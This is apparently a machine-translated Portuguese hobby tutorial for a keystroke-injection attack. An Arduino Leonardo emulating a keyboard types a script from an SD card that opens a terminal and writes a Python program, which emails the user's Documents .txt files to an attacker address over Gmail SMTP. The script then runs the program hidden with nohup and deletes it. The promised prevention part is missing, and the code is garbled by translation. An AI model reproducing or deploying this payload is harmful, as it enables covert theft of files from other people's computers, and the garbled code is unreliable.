Demonstração de exploração do teclado Arduino (HID) e prevenção

Sobre este projeto

• como usar o arduino leonardo para emular o teclado
• como ler dados de cartões SD
• como criar um script Python que verifica arquivos e os envia por e-mail
• como se proteger de dispositivos de hacking USB

Etapa 1:Materiais

Etapa 2:construir o dispositivo

Antes da instrução de construção, vamos revisar o princípio de funcionamento:

Instruções de construção

  #include "Keyboard.h" #include "SPI.h" #include "SD.h" String filenameOnCard ="hack.txt"; String sleepCommandStartingPoint ="Sleep ::"; String commandStartingPoint ="Comando ::"; int delayBetweenCommands =10; const int buttonPin =8; const int chipSelect =10; int anteriorButtonState =HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("O cartão falhou ou não está presente!"); Retorna; }} void loop () {int buttonState =digitalRead (buttonPin); if ((buttonState! =previousButtonState) &&(buttonState ==HIGH)) {sdFileToKeyboard (); Serial.println ("Carregado!"); atraso (500); } previousButtonState =buttonState;} void sdFileToKeyboard () {Arquivo dataFile =SD.open (nomedoarquivoOnCard); if (! dataFile) {Serial.println ("O nome do arquivo especificado não está presente no cartão SD, verifique filenameOnCard!"); } String line; while (dataFile.available ()) {line =dataFile.readStringUntil ('\ n'); Serial.println (linha); sendToKeyboard (linha); } dataFile.close ();} void sendToKeyboard (String line) {String workingLine =line; if (workingLine.indexOf (sleepCommandStartingPoint)! =-1) {sleepFor (linha); Retorna; } if (workingLine.indexOf (commandStartingPoint) ==-1) {Serial.print ("Texto:"); Serial.println (linha); Keyboard.println (linha); pressione Enter(); Retorna; } Serial.println ("Comando:"); int charPosition =commandStartingPoint.length (); int lineLength =line.length (); workingLine + =","; while (workingLine! ="") {workingLine =workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition =workingLine.indexOf (","); String command =workingLine.substring (0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (comando! ="") {Serial.print ("Comando encontrado:"); Serial.println (comando); Keyboard.press (getCommandCode (command)); atraso (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands);} void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll ();} void sleepFor (String line) {int sleepAmount =line.substring (sleepCommandStartingPoint.length (), line.length ()). ToInt (); Serial.print ("Suspenso por:"); Serial.println (sleepAmount); delay (sleepAmount);} char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code =textCharacters [0]; código =(texto =="KEY_LEFT_CTRL")? KEY_LEFT_CTRL:código; código =(texto =="KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT:código; código =(texto =="KEY_LEFT_ALT")? KEY_LEFT_ALT:código; código =(texto =="KEY_UP_ARROW")? KEY_UP_ARROW:código; código =(texto =="KEY_DOWN_ARROW")? KEY_DOWN_ARROW:código; código =(texto =="KEY_LEFT_ARROW")? KEY_LEFT_ARROW:código; código =(texto =="KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW:código; código =(texto =="KEY_RIGHT_GUI")? KEY_RIGHT_GUI:código; código =(texto =="KEY_BACKSPACE")? KEY_BACKSPACE:código; código =(texto =="KEY_TAB")? KEY_TAB:código; código =(texto =="KEY_RETURN")? KEY_RETURN:código; código =(texto =="KEY_ESC")? KEY_ESC:código; código =(texto =="KEY_INSERT")? KEY_INSERT:código; código =(texto =="KEY_DELETE")? KEY_DELETE:código; código =(texto =="KEY_PAGE_UP")? KEY_PAGE_UP:código; código =(texto =="KEY_PAGE_DOWN")? KEY_PAGE_DOWN:código; código =(texto =="KEY_HOME")? KEY_HOME:código; código =(texto =="KEY_END")? KEY_END:​​código; código =(texto =="KEY_CAPS_LOCK")? KEY_CAPS_LOCK:código; código =(texto =="KEY_F1")? KEY_F1:código; código =(texto =="KEY_F2")? KEY_F2:código; código =(texto =="KEY_F3")? KEY_F3:código; código =(texto =="KEY_F4")? KEY_F4:código; código =(texto =="KEY_F5")? KEY_F5:código; código =(texto =="KEY_F6")? KEY_F6:código; código =(texto =="KEY_F7")? KEY_F7:código; código =(texto =="KEY_F8")? KEY_F8:código; código =(texto =="KEY_F9")? KEY_F9:código; código =(texto =="KEY_F10")? KEY_F10:código; código =(texto =="KEY_F11")? KEY_F1:código; código =(texto =="KEY_F12")? KEY_F2:código; 

 

 código de retorno;}  

  Command ::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep ::500vi hack.pySleep ::300Command ::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanda usuariofrom email.MIMEMultipart import MIMEMultipartfrom email.MIMEBase import MIME email.Utils import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass =' ​​sender_gmail_password'to_address ='receiver_address'scan_documents_location =' Documents'subject =body ='Arquivos do computador hackeado n'rom:' {1} \ nSubject:{2} \ n'.format (to_address, smtp_user, subject) def sendMail (to, subject, text, files =[]):msg =MIMEMultipart () msg ​​['From'] =smtp_user msg ['Para'] =COMMASPACE.join (to) msg ​​['Date'] =formatdate (localtime =True) msg ​​['Assunto'] =assunto msg.attach (MIMEText (texto)) para arquivo em arquivos:part =MIMEBase ('aplicativo', "fluxo de octeto") part.set_payload (abrir (arquivo, "rb"). read ()) Encoders.encode_base64 (part) part.add_header ('Content-Disposition', 'acessório; filename ="% s" '% os.path.basename (file)) msg.attach (part) server =smtplib.SMTP (' smtp.gmail.com:587 ') server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit () sendMail ([to_address], subject, body, glob.glob ("{0} / {1} / *. txt" .format (expanduser ("~"), scan_documents_location))) Sleep ::50Command ::KEY_ESCSleep ::100:xSleep ::500nohup python hack.py &Sleep ::700rm -rf hack.pySleep ::400Command ::KEY_LEFT_ALT, KEY_F4  

  smtp_user ='sender_email_addr'smtp_pass =' ​​sender_password'to_address ='receiver_address'